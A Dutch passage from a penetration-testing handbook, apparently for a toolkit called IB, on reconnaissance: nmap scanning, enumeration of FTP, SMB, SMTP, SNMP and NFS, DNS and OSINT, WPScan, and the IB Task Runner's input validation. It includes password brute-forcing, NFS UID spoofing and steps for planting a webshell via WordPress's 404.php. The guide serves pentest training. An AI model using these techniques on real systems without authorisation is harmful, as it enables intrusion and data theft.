Over de -T timing templates: Nmap kent zes templates, van -T0 (paranoid) tot -T5 (insane). In de praktijk gebruik je -T3 (normaal, de default) of -T4 (agressief) voor de meeste pentesten. -T5 is snel maar mist poorten door packet loss. -T0 en -T1 zijn bedoeld voor IDS-evasie en duren uren. Het is een afweging tussen snelheid en nauwkeurigheid – en in een engagement met een tijdslimiet wil je meestal -T4.

2.2.3 Service detection en versie-informatie

Weten dat poort 80 open is, is leuk. Weten dat er Apache 2.4.49 op draait – dat is bruikbaar. De -sV flag activeert service detection:

# Service versie detectie
sudo nmap -sV 10.0.0.5

# Agressievere versie detectie (meer probes)
sudo nmap -sV --version-intensity 5 10.0.0.5

# Combinatie: SYN scan, alle poorten, versie detectie
sudo nmap -sS -sV -p- -T4 10.0.0.5

De --version-intensity flag loopt van 0 (snel, minder accuraat) tot 9 (traag, zeer accuraat). De standaard is 7, wat voor de meeste situaties prima werkt. Tenzij je haast hebt, en eerlijk gezegd: als je haast hebt bij een pentest, heb je een groter probleem.

2.2.4 Nmap Scripting Engine (NSE)

De Nmap Scripting Engine is waar Nmap van een poortscan-tool verandert in een volwaardig verkenningsplatform. NSE scripts kunnen kwetsbaarheden detecteren, informatie verzamelen, en zelfs exploits uitvoeren. Er zitten honderden scripts bij de standaardinstallatie.

# Default scripts draaien (veilig, informatief)
sudo nmap -sC 10.0.0.5

# Specifiek script
sudo nmap --script smb-enum-shares 10.0.0.5

# Categorie: alle vuln scripts
sudo nmap --script vuln 10.0.0.5

# Meerdere scripts combineren
sudo nmap --script "smb-enum-* and not brute" 10.0.0.5

# De heilige combinatie: SYN, versie, scripts, OS detectie
sudo nmap -sS -sV -sC -O -T4 -p- 10.0.0.5

De -sC flag is equivalent aan --script=default. Het draait een verzameling scripts die als veilig worden beschouwd – ze zullen geen denial-of-service veroorzaken of data wijzigen. Maar “veilig” is een relatief begrip. Een default script kan best een anonymous FTP login proberen. Weet wat je draait.

Veelgebruikte NSE scripts voor penetratietesten:

2.2.5 UDP scanning

De meeste pentesters scannen alleen TCP. Dat is alsof je alleen de voordeur controleert en de achterdeur vergeet. UDP-diensten als SNMP (161), TFTP (69) en DNS (53) zijn notoir slecht beveiligd.

# UDP scan (langzaam maar belangrijk)
sudo nmap -sU --top-ports 50 -T4 10.0.0.5

# Combineer TCP en UDP
sudo nmap -sS -sU -p T:1-65535,U:53,69,111,123,161,500 10.0.0.5

UDP scanning is traag. Ontzettend traag. Dat komt doordat UDP geen handshake kent – als een poort niet antwoordt, weet je niet of het pakket verloren is gegaan, of dat de poort gefilterd is. Nmap moet wachten op timeouts. Het is het digitale equivalent van bellen naar een nummer dat niet opneemt: je weet niet of er niemand thuis is, of dat ze je negeren.

2.2.6 Output formaten

Nmap-resultaten opslaan is geen luxe, het is een vereiste. Elke fatsoenlijke pentest vereist bewijs van wat je hebt gedaan, wanneer je het hebt gedaan, en wat je hebt gevonden.

# Normaal formaat (leesbaar)
sudo nmap -sS -sV -oN scan_results.nmap 10.0.0.5

# XML formaat (voor tools)
sudo nmap -sS -sV -oX scan_results.xml 10.0.0.5

# Grepable formaat (voor scripts)
sudo nmap -sS -sV -oG scan_results.gnmap 10.0.0.5

# Alle drie tegelijk
sudo nmap -sS -sV -oA raw/nmap/engagement_scan 10.0.0.5

Het -oA formaat is het handigst – het genereert alle drie de output-formaten in een keer. IB’s scan.sh gebruikt dit standaard, en dat is niet toevallig.

IB Tip: IB slaat alle scan output op in raw/nmap/ met de -oA flag. Het gnmap formaat wordt door search.sh gebruikt om snel hosts per service te vinden. Sla je scans altijd op met een herkenbare naam.

2.3 Service enumeratie

Een poortscan vertelt je welke deuren open staan. Service enumeratie vertelt je wat er achter die deuren zit. Dit is waar de werkelijke verkenning begint.

2.3.1 FTP (poort 21): het fossiel dat weigert te sterven

FTP dateert uit 1971. Dat is ouder dan de meeste kantoorgebouwen, de meeste wetten over computermisdaad, en de meeste mensen die die wetten moeten handhaven. En nog steeds staan er FTP-servers open op het internet. Met anonymous login. In 2026.

Het testen op anonymous FTP-toegang is triviaal:

# Nmap script voor anonymous FTP
nmap -T5 -sV -sC -p21 --script ftp-anon \
     --script-args ftp-anon.maxlist=-1 10.0.0.5

# Handmatig testen
ftp 10.0.0.5
# Username: Anonymous
# Password: Anonymous

IB Tip: IB heeft een geautomatiseerde FTP anonymous check. De ftp_anon taak in de Task Runner zoekt alle hosts met poort 21 open in je nmap scan en test ze automatisch op anonymous login. Start hem via het Tasks dashboard met de naam van je scan.

IB’s ftp_anon.sh werkt als volgt: het gebruikt search.sh om alle hosts met FTP uit je nmap scan te filteren, loopt er doorheen, en draait per host een gerichte Nmap scan met het ftp-anon script:

# Wat ftp_anon.sh intern doet:
result=$(./search.sh engagement-name ftp)
for xhost in $result; do
    nmap -T5 -sV -sC -p21 --script ftp-anon \
         --script-args ftp-anon.maxlist=-1 $xhost
done

En als je anonymous toegang vindt? Dan kijk je wat er staat. Configuratiebestanden, back-ups, soms zelfs SSH-sleutels. Het is verbazingwekkend wat mensen op een anoniem toegankelijke FTP-server achterlaten. Het is het digitale equivalent van je dagboek op een bankje in het park laten liggen.

2.3.2 SSH (poort 22)

SSH is de veilige manier om op afstand in te loggen. Tenminste, dat is de theorie. In de praktijk vinden we regelmatig SSH-servers met wachtwoordauthenticatie aan, standaard credentials, of – in het ergste geval – zwakke Debian SSH-sleutels uit 2008.

# SSH versie detectie
nmap -sV -p22 10.0.0.5

# Banner grabbing
nc -nv 10.0.0.5 22

# SSH audit (controleer configuratie)
ssh-audit 10.0.0.5

De versie van OpenSSH is belangrijk: oudere versies hebben bekende kwetsbaarheden. Maar vaker is het probleem niet de software, maar de configuratie. Wachtwoordauthenticatie zonder rate limiting is een uitnodiging voor brute force (meer daarover in hoofdstuk 3).

2.3.3 SMB (poort 445)

SMB – Server Message Block – is het protocol waarmee Windows-systemen bestanden delen. Het is ook een van de meest aangevallen protocollen in de geschiedenis van computerbeveiliging. EternalBlue (MS17-010), dat de basis vormde voor WannaCry, maakte misbruik van SMB.

# SMB versie en shares enumereren
nmap --script smb-enum-shares,smb-enum-users -p445 10.0.0.5

# smbclient: shares bekijken
smbclient -L //10.0.0.5 -N

# smbmap: permissies controleren
smbmap -H 10.0.0.5

# smbmap met credentials
smbmap -H 10.0.0.5 -u gebruiker -p wachtwoord

# enum4linux: alles-in-een
enum4linux -a 10.0.0.5

# CrackMapExec: null session enum
crackmapexec smb 10.0.0.5 -u '' -p '' --shares

Null sessions – SMB-verbindingen zonder credentials – zijn zeldzamer geworden, maar bestaan nog steeds. En zelfs zonder null session is SMB een goudmijn aan informatie: domeinnaam, computernaam, werkgroep, en soms zelfs een lijst van gebruikersaccounts.

Het is de moeite waard om altijd te controleren op EternalBlue (MS17-010). Ja, het is een exploit uit 2017. Ja, de patch bestaat al jaren. Nee, niet iedereen heeft hem geinstalleerd:

# EternalBlue check
nmap -p445 --script smb-vuln-ms17-010 10.0.0.5

# Of via CrackMapExec
crackmapexec smb 10.0.0.0/24 -u '' -p '' --gen-relay-list smb_targets.txt

SMB signing is ook relevant: als SMB signing niet is afgedwongen, zijn relay-aanvallen mogelijk. Dat is een onderwerp voor latere hoofdstukken, maar het begint hier, bij de verkenning.

2.3.4 RDP (poort 3389)

Remote Desktop Protocol is Windows’ ingebouwde remote access oplossing. Het staat standaard aan op veel Windows Servers en is regelmatig het eerste dat wordt opengesteld voor beheer op afstand.

# RDP versie en configuratie
nmap -sV -p3389 --script rdp-enum-encryption 10.0.0.5

# Screenshot nemen van het loginscherm
nmap -p3389 --script rdp-ntlm-info 10.0.0.5

Het rdp-ntlm-info script is bijzonder nuttig: het haalt de domeinnaam, computernaam en DNS-naam op uit de NTLM-authenticatie, zonder dat je inlogt. Gratis informatie, gewoon door te kloppen op de deur.

2.3.5 HTTP/HTTPS (poort 80/443)

Webservers zijn de etalage van elke organisatie. En net als bij een echte etalage: wat je ziet is interessant, maar wat er achter de schermen staat is veel interessanter.

# Webserver identificatie
whatweb http://10.0.0.5

# Nikto vulnerability scan
nikto -h http://10.0.0.5

# Directory bruteforce
gobuster dir -u http://10.0.0.5 -w /usr/share/wordlists/dirb/common.txt -t 50

# Wfuzz (flexibeler)
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
      --sc 200,301,302,403 http://10.0.0.5/FUZZ

# Nuclei (vulnerability templates)
nuclei -u http://10.0.0.5

IB Tip: IB’s scan.sh draait automatisch whatweb, wfuzz en nuclei tegen elke host met HTTP-poorten open. De resultaten komen in raw/recon/. Je hoeft dit niet handmatig te doen.

IB’s scan flow voor webservers werkt zo: na de initiële nmap scan filtert scan.sh alle hosts met HTTP-gerelateerde services, en draait per host drie tools in volgorde:

# Uit scan.sh -- voor elke host met HTTP:
whatweb ${host} > raw/recon/whatweb-${host}.txt
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
      --sc 200,202,204,301,302,307,403 ${host}/FUZZ > raw/recon/wfuzz-${host}.txt
nuclei -u ${host} > raw/recon/nuclei-${host}.txt

2.4 DNS verkenning

2.4.1 Waarom DNS belangrijk is

DNS – het Domain Name System – is het telefoonboek van het internet. Het vertaalt namen naar adressen. En net als een telefoonboek kan het verrassend veel onthullen over een organisatie: welke servers ze hebben, welke diensten ze draaien, soms zelfs hoe hun interne netwerk is opgebouwd.

DNS-verkenning is als het doorbladeren van iemands telefoonboek: technisch gezien is alle informatie “openbaar”, maar je leert er meer van dan de eigenaar zich realiseert.

2.4.2 Zone transfers

Een DNS zone transfer is de nucleaire optie van DNS-verkenning. In een zone transfer stuurt een DNS-server zijn volledige database naar de aanvrager – elke hostname, elk IP-adres, elke record. Het is bedoeld als replicatiemechanisme tussen primaire en secundaire DNS-servers. Het is niet bedoeld voor jou. Maar als niemand het heeft uitgeschakeld…

# Zone transfer proberen met dig
dig axfr target.com @ns1.target.com

# Zone transfer met host
host -l target.com ns1.target.com

# dnsrecon zone transfer
dnsrecon -d target.com -t axfr

Zone transfers slagen tegenwoordig zelden op externe DNS-servers. Maar op interne DNS-servers – met name Active Directory-geintegreerde DNS – is het een ander verhaal. Veel beheerders gaan ervan uit dat het interne netwerk “vertrouwd” is en beperken zone transfers niet.

Als een zone transfer lukt, heb je in een klap een compleet overzicht van het netwerk. Elke server, elk alias, elk service record. Het is alsof iemand je een plattegrond overhandigt met alle geheime gangen erin getekend.

2.4.3 Subdomain enumeratie

Als zone transfers niet werken – en dat doen ze meestal niet – is subdomain enumeratie de volgende stap. Het idee is simpel: probeer duizenden mogelijke subdomeinnamen en kijk welke bestaan.

# dnsrecon brute force
dnsrecon -d target.com -t brt \
    -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Standaard enumeratie (alle record types)
dnsrecon -d target.com

# dnsenum (combineert meerdere technieken)
dnsenum target.com
dnsenum --dnsserver ns1.target.com target.com

# gobuster DNS mode
gobuster dns -d target.com \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50

Subdomeinen onthullen vaak meer dan de organisatie beseft: dev.target.com, staging.target.com, jenkins.target.com, vpn.target.com. Elk subdomein is een potentieel aanvalsoppervlak. Ontwikkelomgevingen hebben zelden dezelfde beveiligingsmaatregelen als productie.

2.4.4 DNS record types

Niet alle DNS records zijn gelijk. Elk type onthult andere informatie:

# Individuele record types opvragen
host target.com              # A record (IPv4)
host -t MX target.com        # Mail servers
host -t TXT target.com       # TXT records (SPF, DKIM, etc.)
host -t NS target.com        # Nameservers
host -t AAAA target.com      # IPv6 adressen

# dig varianten
dig target.com ANY           # Alle records (vaak geblokkeerd)
dig target.com MX            # Mail servers
dig target.com TXT           # TXT records

TXT records zijn bijzonder interessant. Ze bevatten vaak SPF-records die onthullen welke mailservers de organisatie gebruikt, DKIM-sleutels, en soms verificatietokens voor diensten als Google Workspace of Microsoft 365.

2.4.5 Reverse DNS sweep

Een reverse DNS lookup doet het omgekeerde van een normale lookup: je geeft een IP-adres en krijgt de hostname terug. Door een heel subnet te sweepen ontdek je hosts die je via forward lookups nooit zou vinden.

# dnsrecon reverse sweep
dnsrecon -r 10.0.0.0/24

# Handmatig (langzaam maar leerzaam)
for ip in $(seq 1 254); do
    host 10.0.0.$ip
done | grep -v "not found"

IB Tip: Het recon_dns commandobestand bevat alle DNS-verkenningscommando’s die je nodig hebt. Open het via de Commands pagina in IB voor snel kopieerbare referenties. Het bevat zone transfers, subdomain brute force, reverse sweeps en handmatige record queries.

2.5 SMTP enumeratie

2.5.1 Het postkantoorgesprek

SMTP – Simple Mail Transfer Protocol – is het protocol waarmee e-mail wordt verstuurd. En SMTP-servers zijn praatgraag. Ontzettend praatgraag. Met de juiste vragen vertellen ze je precies welke gebruikersaccounts bestaan.

Dit heet SMTP user enumeration, en het werkt via drie methoden: VRFY, EXPN en RCPT TO.

2.5.2 VRFY en EXPN

Het VRFY-commando vraagt de mailserver of een gebruiker bestaat. Het EXPN-commando vraagt de server om een mailinglist uit te vouwen. Beide zijn bedoeld voor diagnostiek. Beide zijn goud voor aanvallers.

# Handmatig via netcat
nc -nv 10.0.0.5 25
# VRFY root
# VRFY admin
# VRFY postmaster

# EXPN (mailinglijst leden)
# EXPN all-users

# RCPT TO (als VRFY uitgeschakeld is)
# MAIL FROM:<test@test.com>
# RCPT TO:<admin@target.com>    # 250 = bestaat, 550 = niet

De responsecodes zijn veelzeggend: - 250: gebruiker bestaat - 252: ik kan het niet bevestigen, maar ik ga het proberen (vaak ook een positief signaal) - 550: gebruiker bestaat niet

2.5.3 Geautomatiseerde enumeratie

Handmatig VRFY-commando’s typen is leerzaam maar niet schaalbaar. Daar zijn tools voor:

# smtp-user-enum met VRFY methode
smtp-user-enum -M VRFY \
    -U /usr/share/seclists/Usernames/Names/names.txt \
    -t 10.0.0.5

# RCPT TO methode (als VRFY uitgeschakeld)
smtp-user-enum -M RCPT -U users.txt -D target.com -t 10.0.0.5

# EXPN methode
smtp-user-enum -M EXPN -U users.txt -t 10.0.0.5

# Nmap NSE scripts
nmap -p 25 --script smtp-enum-users 10.0.0.5
nmap -p 25 --script smtp-commands 10.0.0.5
nmap -p 25 --script smtp-open-relay 10.0.0.5

IB Tip: IB’s recon_smtp command file bevat alle SMTP enumeratie methoden: handmatig via netcat, smtp-user-enum met VRFY/RCPT/EXPN, en Nmap NSE scripts. Check ook poorten 465 (SMTPS) en 587 (submission) naast de standaard poort 25.

Die open relay check (smtp-open-relay) is ook de moeite waard. Een open relay laat je e-mails versturen via andermans mailserver. In de jaren negentig was dat normaal. Nu is het een beveiligingsincident. Maar je vindt het nog steeds. Sommige systemen veranderen nooit.

2.6 SNMP enumeratie

2.6.1 De community string: een wachtwoord dat geen wachtwoord wil zijn

SNMP – Simple Network Management Protocol – is ontworpen om netwerkapparatuur te beheren. Het gebruikt “community strings” als authenticatiemechanisme. Een community string is eigenlijk gewoon een wachtwoord, maar dan verstuurd in cleartext. De standaard community string is public. Voor leestoegang. De standaard schrijf-community string is private.

Laat dat even bezinken. Het standaard leeswachtwoord is letterlijk “public”. Het standaard schrijfwachtwoord is “private”. En miljoenen apparaten wereldwijd gebruiken nog steeds deze standaardwaarden. Het is alsof je je kluiscode instelt op “kluis”.

2.6.2 Community strings brute forcen

# onesixtyone: snelle community string brute force
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt \
            -i targets.txt

# Nmap brute force
nmap -sU -p 161 --script snmp-brute 10.0.0.5

Die woordenlijst met community strings is treurig kort. De meeste staan erin: public, private, community, manager, cisco, default. Het feit dat deze lijst zo klein is en nog steeds zo effectief, zegt alles over de staat van SNMP-beveiliging.

2.6.3 MIB walking

Eenmaal een werkende community string gevonden, is het tijd voor een MIB walk. MIB staat voor Management Information Base – een hierarchische database van alle informatie die het apparaat bereid is te delen. En dat is veel. Ongezond veel.

# Volledige SNMP walk
snmpwalk -c public -v1 -t 10 10.0.0.5

# Specifieke OIDs voor Windows:
# Windows gebruikers:
snmpwalk -c public -v1 10.0.0.5 1.3.6.1.4.1.77.1.2.25
# Draaiende processen:
snmpwalk -c public -v1 10.0.0.5 1.3.6.1.2.1.25.4.2.1.2
# Open TCP poorten:
snmpwalk -c public -v1 10.0.0.5 1.3.6.1.2.1.6.13.1.3
# Geinstalleerde software:
snmpwalk -c public -v1 10.0.0.5 1.3.6.1.2.1.25.6.3.1.2
# Systeem beschrijving:
snmpwalk -c public -v1 10.0.0.5 1.3.6.1.2.1.1.1
# Hostnaam:
snmpwalk -c public -v1 10.0.0.5 1.3.6.1.2.1.1.5
# Network interfaces:
snmpwalk -c public -v1 10.0.0.5 1.3.6.1.2.1.2.2.1.2

# Alles in een keer met snmp-check:
snmp-check 10.0.0.5 -c public

Via SNMP kun je op een Windows-systeem de volledige gebruikerslijst ophalen, alle draaiende processen zien, alle open poorten, alle geinstalleerde software. Zonder ook maar een wachtwoord in te voeren. Met alleen de community string public. Op een protocol dat data in cleartext verstuurt.

Dit is niet zomaar een beveiligingsprobleem. Dit is een openbare bibliotheek van vertrouwelijke informatie, aangeboden met een glimlach.

IB Tip: IB’s recon_snmp commandobestand bevat de essentiële OID-paden voor Windows enumeratie. Onthoud: SNMP v1 en v2c versturen community strings in cleartext. Als je SNMP-verkeer op het netwerk ziet, heb je misschien al een community string.

2.7 NFS enumeratie

2.7.1 Network File System: delen is leuk

NFS – Network File System – is het protocol waarmee Unix/Linux-systemen bestanden delen. Het stamt uit 1984, het jaar van de Macintosh en George Orwell. De beveiliging voelt nog steeds alsof het in 1984 is ontworpen.

NFS-beveiliging is primair gebaseerd op IP-adressen. Het idee is: als je op het juiste netwerk zit, mag je bij de bestanden. Dat is hetzelfde beveiligingsmodel als “iedereen in het kantoorgebouw mag bij de kluizen.” Het werkt totdat er iemand binnenkomt die niet bij het bedrijf hoort.

2.7.2 NFS exports ontdekken

# Ontdek NFS exports via Nmap
nmap -sV -p 111 --script=rpcinfo 10.0.0.5
nmap -p 111 --script nfs* 10.0.0.5

# showmount: bekijk beschikbare shares
showmount -e 10.0.0.5

# RPC info
rpcinfo -p 10.0.0.5

Het showmount -e commando laat zien welke directories geexporteerd worden en wie er toegang toe heeft. Als daar * staat, betekent het “iedereen”. En dat komt vaker voor dan je zou hopen.

2.7.3 NFS shares mounten

# Mount NFS share
mkdir /mnt/nfs
mount -o nolock 10.0.0.5:/share /mnt/nfs

# Met specifieke NFS versie
mount -t nfs -o vers=3,nolock 10.0.0.5:/share /mnt/nfs

# Bestanden bekijken
ls -la /mnt/nfs/
find /mnt/nfs/ -type f \
    -name "*.txt" -o -name "*.conf" -o -name "id_rsa" 2>/dev/null

# Na gebruik unmounten
umount /mnt/nfs

2.7.4 UID spoofing

NFS-authenticatie is gebaseerd op UID-nummers. Als een bestand eigendom is van UID 1000 op de server, en jij maakt een gebruiker met UID 1000 op je aanvalsmachine, dan ben je plotseling de eigenaar van dat bestand. Het is een identiteitsdiefstal zo simpel dat een kind het kan:

# Als bestanden owned zijn door UID 1000:
useradd -u 1000 fakeuser
su fakeuser
cat /mnt/nfs/secret.txt

De no_root_squash optie maakt het nog erger: als die actief is, betekent het dat root op de client ook root is op de server. Je kunt dan bestanden aanmaken, wijzigen en verwijderen als root. Op andermans server. Via een netwerkshare.

IB Tip: IB’s recon_nfs command file bevat de volledige NFS enumeratie flow: van discovery via nmap/showmount tot mounten en UID spoofing. Let op de no_root_squash instelling – die maakt het verschil tussen “read access” en “volledige controle.”

2.8 OSINT: passieve verkenning

2.8.1 Kijken zonder aanraken

OSINT – Open Source Intelligence – is verkenning zonder het doelwit aan te raken. Geen packets versturen, geen poorten scannen, geen verbindingen maken. Alleen informatie verzamelen uit openbare bronnen. Het is het digitale equivalent van door iemands LinkedIn-profiel scrollen: je leert er veel van, en ze weten niet dat je kijkt.

De reden om met OSINT te beginnen – voor je ook maar een poort scant – is tweeledig. Ten eerste: het vertelt je wat je kunt verwachten. Als je weet dat een organisatie Microsoft 365 gebruikt, Apache webservers draait, en hun IT-afdeling bestaat uit drie man, heb je al een behoorlijk beeld. Ten tweede: het genereert nul netwerkverkeer naar het doelwit, waardoor het legaal en onzichtbaar is.

2.8.2 Tools en technieken

# theHarvester: e-mailadressen, subdomeinen, IPs
theHarvester -d target.com -b google,bing,linkedin -l 500
theHarvester -d target.com -b all

# Shodan: internet-wide scan database
shodan search hostname:target.com
shodan host 10.0.0.5
shodan search "Apache" net:10.0.0.0/24

# Whois
whois target.com
whois 10.0.0.5

# Certificate Transparency logs
curl -s "https://crt.sh/?q=%25.target.com&output=json" \
    | jq '.[].name_value' | sort -u

2.8.3 Google Dorks

Google Dorks zijn geavanceerde zoekopdrachten die Google gebruiken als een soort kwetsbaarheidenscanner. Het is legaal – je zoekt alleen in de Google-index – maar de resultaten kunnen verbluffend onthullend zijn.

site:target.com filetype:pdf
site:target.com filetype:xlsx
site:target.com ext:php inurl:admin
site:target.com intitle:"index of" "parent directory"
site:target.com inurl:login
site:target.com ext:sql | ext:db | ext:bak

Die laatste – zoeken naar database-backups – levert soms letterlijk complete databases op. In de publieke Google-index. Laat dat even bezinken. Iemand heeft een database-back-up op een webserver gezet, die webserver is geindexeerd door Google, en nu kan iedereen die de juiste zoekopdracht kent die back-up downloaden. Het is als het achterlaten van je complete boekhouding op de stoep met een briefje “gratis mee te nemen.”

2.8.4 Certificate Transparency

Certificate Transparency (CT) is een onverwachte goudmijn voor pentesters. Elke SSL/TLS-certificaat dat wordt uitgegeven, wordt geregistreerd in openbare logs. Door deze logs te doorzoeken vind je subdomeinen die de organisatie misschien liever geheim had gehouden: internal.target.com, vpn-test.target.com, dev-api.target.com.

# Certificate Transparency via crt.sh
curl -s "https://crt.sh/?q=%25.target.com&output=json" \
    | jq '.[].name_value' | sort -u

# Netcraft (via browser)
# https://searchdns.netcraft.com/?restriction=site+contains&host=target.com

Het mooie aan CT-logs is dat ze historisch zijn. Je vindt niet alleen huidige certificaten, maar ook verlopen certificaten voor servers die misschien nog steeds draaien – alleen zonder geldig certificaat. En als er iets is dat beheerders vergeten te decommissionen, dan is het die ene testserver van drie jaar geleden.

2.8.5 Recon-ng framework

Recon-ng is een OSINT-framework dat werkt als een modulaire verkennings-workbench:

# Recon-ng starten
recon-ng

# Modules zoeken en installeren
# marketplace search github
# marketplace install recon/domains-hosts/google_site_web
# modules load recon/domains-hosts/google_site_web
# options set SOURCE target.com
# run

IB Tip: IB’s recon_osint command file bevat de volledige OSINT toolkit: recon-ng, theHarvester, Shodan, Google Dorks, Netcraft en Certificate Transparency queries. Begin altijd met passieve recon voordat je scant – het is gratis, onzichtbaar, en levert verrassend veel op.

2.9 CMS scanning: WordPress onder het mes

2.9.1 Waarom WordPress?

WordPress draait op een aanzienlijk deel van alle websites ter wereld. Het is het meest gebruikte CMS, en daarmee ook het meest aangevallen. Niet omdat het inherent onveilig is, maar omdat het ecosysteem – duizenden plugins, duizenden themes, miljoenen beheerders die niet updaten – een aanvallers paradijs creëert.

WPScan is de gespecialiseerde tool voor WordPress-beveiliging:

# Basis scan met enumeratie
wpscan --url http://target --enumerate ap,at,cb,dbe

# Gebruiker enumeratie
wpscan --url http://target --enumerate u

# Plugin enumeratie (agressief)
wpscan --url http://target --enumerate ap --plugins-detection aggressive

# Theme enumeratie
wpscan --url http://target --enumerate at

# Password brute force
wpscan --url http://target -U admin \
    -P /usr/share/wordlists/rockyou.txt

# Met meerdere users via XML-RPC (sneller)
wpscan --url http://target -U users.txt \
    -P /usr/share/wordlists/rockyou.txt --password-attack xmlrpc

# Met API token voor CVE-details
wpscan --url http://target --api-token YOUR_TOKEN --enumerate vp,vt

De --enumerate flags vertellen WPScan wat hij moet zoeken: - ap – alle plugins - at – alle themes - u – gebruikers - cb – config back-ups - dbe – database exports - vp – kwetsbare plugins (vereist API token) - vt – kwetsbare themes (vereist API token)

2.9.2 Handmatige WordPress checks

Soms wil je het met de hand doen – of WPScan werkt niet:

# WordPress versie
curl -s http://target/readme.html

# Gebruikers via REST API
curl -s http://target/wp-json/wp/v2/users

# XML-RPC endpoint (bruikbaar voor brute force)
curl -s http://target/xmlrpc.php

# Standaard paden
# Login:   http://target/wp-login.php
# Admin:   http://target/wp-admin/
# Uploads: http://target/wp-content/uploads/

Die REST API (/wp-json/wp/v2/users) is standaard ingeschakeld en openbaar. Het geeft gebruikersnamen terug. Zonder authenticatie. WordPress noemt dit een “feature.” Aanvallers noemen het een cadeautje.

2.9.3 Na het vinden van een kwetsbaarheid

WPScan met een API token koppelt gevonden plugins en themes aan bekende CVEs. De output ziet er dan zo uit:

[!] Title: Plugin X < 3.2.1 - Unauthenticated SQL Injection
    Fixed in: 3.2.1
    References:
     - https://wpscan.com/vulnerability/...
     - https://nvd.nist.gov/vuln/detail/CVE-2024-...

Dit is waar verkenning overgaat in exploitatie. Je hebt nu een specifieke kwetsbaarheid, met een CVE-nummer en referenties naar exploits. De vraag is niet meer “is dit systeem kwetsbaar?” maar “hoe snel kan ik dit exploiteren?”

Een veelgebruikte post-login techniek in WordPress is de Theme Editor. Als je admin-toegang hebt:

1. Navigeer naar Appearance -> Theme Editor
2. Selecteer het actieve theme
3. Bewerk 404.php (minst verdacht)
4. Voeg PHP-code toe (reverse shell, webshell)
5. Browse naar http://target/wp-content/themes/theme-naam/404.php

Het is elegant in zijn eenvoud. Je misbruikt een legitieme functie – theme editing – voor een illegitiem doel. En het wordt zelden gedetecteerd, want wie controleert er nu de 404.php van een WordPress-theme?

IB Tip: IB’s recon_wpscan commandobestand bevat zowel geautomatiseerde WPScan commando’s als handmatige checks. Na succesvolle login: ga naar Appearance, Theme Editor, bewerk 404.php – dat is de snelste weg naar een webshell op een WordPress-installatie.

2.10 De IB Task Runner: verkenning vanuit het dashboard

2.10.1 Hoe de Task Runner werkt

De IB Task Runner is een web-gebaseerde interface om voorgedefinieerde taken te starten, monitoren en de output te bekijken. Het is geen generieke command executor – het werkt uitsluitend met een allowlist van taken die in tasks.py zijn gedefinieerd. Geen willekeurige commando’s, geen shell injection, geen verrassingen.

Elke taak heeft: - Een label (wat je ziet in de interface) - Een group (categorie: Recon, Brute Force, etc.) - Een cmd (het exacte commando dat wordt uitgevoerd) - Optionele args (parameters met input-validatie)

De argumenten worden gevalideerd tegen regex-patronen voordat ze aan het commando worden toegevoegd. Geen shell=True, geen string concatenatie, alleen een lijst van strings die aan subprocess.Popen worden gegeven.

2.10.2 Beschikbare recon taken

De Task Runner heeft de volgende verkennings-gerelateerde taken:

2.10.3 Walkthrough: een scan starten

Om een network scan te starten via de Task Runner:

1. Open het IB dashboard op http://127.0.0.1:5000
2. Navigeer naar Tasks (/dashboard/tasks)
3. Zoek de scan taak onder de groep “Recon”
4. Vul de parameters in:
   • Interface / IP: het netwerkinterface om te scannen (bijv. tun0)
   • Scan naam: een herkenbare naam (bijv. pentest-2026)
   • Hosts / range: het te scannen bereik (bijv. 10.0.0.0/24)
5. Klik op Start

De Task Runner start het commando op de achtergrond. Je kunt de voortgang live volgen – de output wordt gestreamed naar de browser. Het commando dat wordt uitgevoerd is:

bash scan.sh tun0 pentest-2026 10.0.0.0/24

2.10.4 Wat scan.sh doet onder de motorkap

IB’s scan.sh is meer dan een wrapper om nmap. Het doet het volgende:

1. Directory structuur aanmaken: maakt raw/recon, raw/nmap, raw/loot en andere mappen aan
2. Lokale configuratie loggen: slaat id, uname, ifconfig en publiek IP op in raw/local/
3. TCP poortscan: nmap met output in alle formaten (-oA)
4. UDP poortscan: dezelfde scan voor UDP
5. Resultaten omzetten: converteert nmap output naar CSV-formaat
6. Per-host deep scan: voor elke host met open poorten wordt een volledige nmap scan gestart in een screen-sessie
7. Web recon: voor elke host met HTTP worden whatweb, wfuzz en nuclei gedraaid

# De kern van scan.sh:
# 1. Quick scan
nmap -e $localnic $NMAP_OPDRACHT_TCP $NMAP_HOST \
     -oA raw/nmap/${naam}_quick_scan_tcp

# 2. Parse resultaten, start deep scans
for host in $(grep "open" raw/nmap/${naam}_quick_scan_tcp.gnmap | ...); do
    screen -dmS nmap_${host} nmap -A ${host} \
           -oA raw/nmap/${host}_full_scan_tcp
done

# 3. Web recon per HTTP host
for host in $(grep "http" raw/nmap/${naam}_quick_scan_tcp.gnmap | ...); do
    whatweb ${host} > raw/recon/whatweb-${host}.txt
    wfuzz ... ${host}/FUZZ > raw/recon/wfuzz-${host}.txt
    nuclei -u ${host} > raw/recon/nuclei-${host}.txt
done

2.10.5 Zoeken in resultaten

Na de scan kun je de search taak gebruiken om specifieke services te vinden:

1. Open de Task Runner
2. Start de search taak met:
   • Scan naam: pentest-2026
   • Zoekterm: ftp, ssh, http, 3389, of elke andere service/poort
3. De output toont alle hosts met die service

Dit is wat search.sh intern doet – het parsed de gnmap output en filtert op jouw zoekterm:

# search.sh zoekt in het grepable nmap formaat
cat raw/nmap/${naam}_quick_scan_tcp.gnmap \
    | grep "${zoekterm}" \
    | awk '{print $2}' \
    | sort -u

2.10.6 Beveiliging van de Task Runner

De Task Runner is opzettelijk beperkt:

• Allowlist only: alleen taken die in de _TASKS dictionary staan, kunnen draaien
• Input validatie: alle argumenten worden gevalideerd tegen regex patronen (^[a-zA-Z0-9_\-]+$ voor namen, ^[a-zA-Z0-9._:/%\-]+$ voor IPs)
• Geen shell=True: commando’s worden als een lijst doorgegeven aan subprocess.Popen, niet via een shell
• Pad traversal bescherming: .. in argumenten wordt geweigerd
• Timeout: taken worden na 600 seconden (10 minuten) automatisch beëindigd
• Output limiet: maximaal 500 regels output worden bewaard

# Uit tasks.py -- hoe argumenten worden gevalideerd:
_RE_SAFE_NAME = re.compile(r"^[a-zA-Z0-9_\-]+$")
_RE_IP_OR_IFACE = re.compile(r"^[a-zA-Z0-9._:/%\-]+$")

